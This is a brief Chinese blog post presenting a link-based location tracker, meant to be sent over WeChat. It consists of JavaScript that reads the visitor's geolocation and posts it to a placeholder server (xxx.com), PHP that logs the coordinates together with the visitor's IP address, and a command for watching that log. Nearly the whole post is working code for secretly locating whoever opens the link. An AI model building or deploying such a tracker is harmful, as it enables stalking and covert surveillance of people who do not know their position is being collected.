用微信发条连接信息,对方点开即发送定位信息。精度比较:PC <= 打开 Wi-Fi 设备 < 打开移动数据的设备

首先能利用的是 HTML5 的地理位置接口,和一个后端进行保存日志。

不过 HTML5 的地理位置接口 需要用户手动确定权限 ,这肯定是有风险一半一半,没办法。

前端部分代码

function getLocation()
{
    if (navigator.geolocation)
    {
        navigator.geolocation.getCurrentPosition(showPosition);
    }else{
        console.log('0');
    }
}
function showPosition(position)
{
        $.post('https://xxx.com/xxx.php?status=success', {
            'x': position.coords.longitude,
            'y': position.coords.latitude
        }, function() {}, 'JSON');
}
getLocation();

后端部分代码

<?php
if (!empty($_GET['status']) && $_GET['status'] == 'success') {
    $x = $_POST['x'];
    $y = $_POST['y'];
    file_put_contents(__DIR__ . '/location.log', 'Sussess:' . $x . ',' . $y . '' . $_SERVER['REMOTE_ADDR'] . ' ' . date('Y-M-D H:i:s') . "\n", FILE_APPEND);
}

监听日志

$ tail -f location.log

作者:https://blog.isecret.vip/i-find-you.html#more